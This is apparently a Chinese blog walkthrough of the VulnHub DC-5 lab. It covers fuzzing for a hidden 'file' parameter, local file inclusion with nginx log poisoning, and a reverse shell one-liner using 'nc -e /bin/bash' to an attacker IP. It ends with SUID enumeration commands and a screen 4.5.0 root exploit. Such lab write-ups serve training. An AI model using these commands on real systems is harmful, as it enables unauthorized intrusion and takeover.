vulnhub DC-5 靶机 walkthrough

Description

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).

As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.

And just for the record, there is no phpmailer exploit involved. 😃

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

But if you're really, really stuck, you can watch this video which shows the first step.

实验

收集一下基本信息


依次点击网页,查看有用信息

在 contact.php 中含提交参数

提交后所有参数由 thankyou.php 处理

思路一:sql注入

burp 抓包,对每个参数进行 fuzz 测试,查看是否回显不同或报错

未发现异常,手动测试了一下也是如此。

思路二:wfuzz参数

既然 thankyou.php 会对所有提交的参数进行处理,那么会不会存在隐藏参数呢?

并且如果你仔细一点可以注意到 tankyou.php 页面每刷新一次,copyright 都会变化。说明这个页面是动态的,并且能将某些内容打印出来。

尝试寻找隐藏参数
wfuzz -c -w /usr/share/wordlists/dirb/common.txt 192.168.110.136/thankyou.php?FUZZ=i_like_u

过滤掉相应长度为 851 的数据
wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hh 851 192.168.110.136/thankyou.php?FUZZ=i_like_u

拿到参数 file

一般来说,参数名称和对应功能是相匹配的,可能就是一个读取文件功能。

想到 LFI 本地文件包含漏洞

能够正常读取本地文件。由于目标机器没有 ssh 服务,所有只有反弹 shell 来获取控制权。考虑到这是 nginx 服务,利用日志投毒。

简单来说,就是先在 url 里访问一段恶意的 php 脚本,这个错误信息就会输出到 nginx 的错误日志下,在结合本地文件包含这个错误日志,解析脚本,就能获得控制权。

注意:错误信息会将url框内编码后的内容(未解码)保存到日志文件,所以为了脚本正常执行,用 burp 抓包然后提交恶意内容。


nginx 默认错误日志路径 /var/log/nginx/error.log

命令已经成功执行

反弹shell,...&cmd=nc -e /bin/bash 192.168.110.130 1314

www-data 是最低权限用户,活动范围只在 web 文件夹以内,很多命令受限。

这里依按例次检查这些点

+ privilege escalation

netstat -antup

cd /var/mail;ls

ps aux | grep -i 'root'

sudo -l

find / -perm -u=s -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

uname -a

lsb_release -a

最后在 设置了 suid 位的特权文件中发现有意思的东西

4.5.0 版本的 screen 很突出

这个 .sh 文件已经写好了攻击过程,只需要目标机器下载并执行这个脚本即可(前提是有 gcc)。

总结

  • 扫描主机 ip,端口和服务信息。
  • 访问网页,扫描目录,看到多个参数提交点,wfuzz 测试参数找到 file。
  • LFI 本地文件包含加 nginx 日志投毒反弹shell。
  • 查找到 suid 位文件 screen 4.5.0,目标机执行exp获得 root。
相关推荐
牛奶咖啡131 小时前
从零到一使用Linux+Nginx+MySQL+PHP搭建的Web网站服务器架构环境——LNMP(上)
linux·lnmp·ngnix的源码安装部署·mysql的二进制文件安装部署·php源码的安装部署·记录并解决安装php的各种问题
软件测试很重要1 小时前
UOS20系统安装与 SSH/XRDP 远程访问功能配置指南
linux·运维·ssh
FreeBuf_1 小时前
Salesloft Drift网络攻击事件溯源:GitHub账户失陷与OAuth令牌窃取
安全·github
乐迪信息2 小时前
乐迪信息:AI摄像机在智慧煤矿人员安全与行为识别中的技术应用
大数据·人工智能·算法·安全·视觉检测
XINERTEL2 小时前
看不见的安全防线:信而泰仪表如何验证零信任有效性
安全
qq_312920112 小时前
Nginx限流与防爬虫与安全配置方案
运维·爬虫·nginx·安全
float_六七2 小时前
预编译SQL:安全与性能的双重保障
sql·安全·oracle
灵犀物润2 小时前
Kubernetes 配置检查与发布安全清单
安全·容器·kubernetes
GanGuaGua2 小时前
Linux系统:线程的互斥和安全
linux·运维·服务器·c语言·c++·安全
lsnm3 小时前
【LINUX网络】IP——网络层
linux·服务器·网络·c++·网络协议·tcp/ip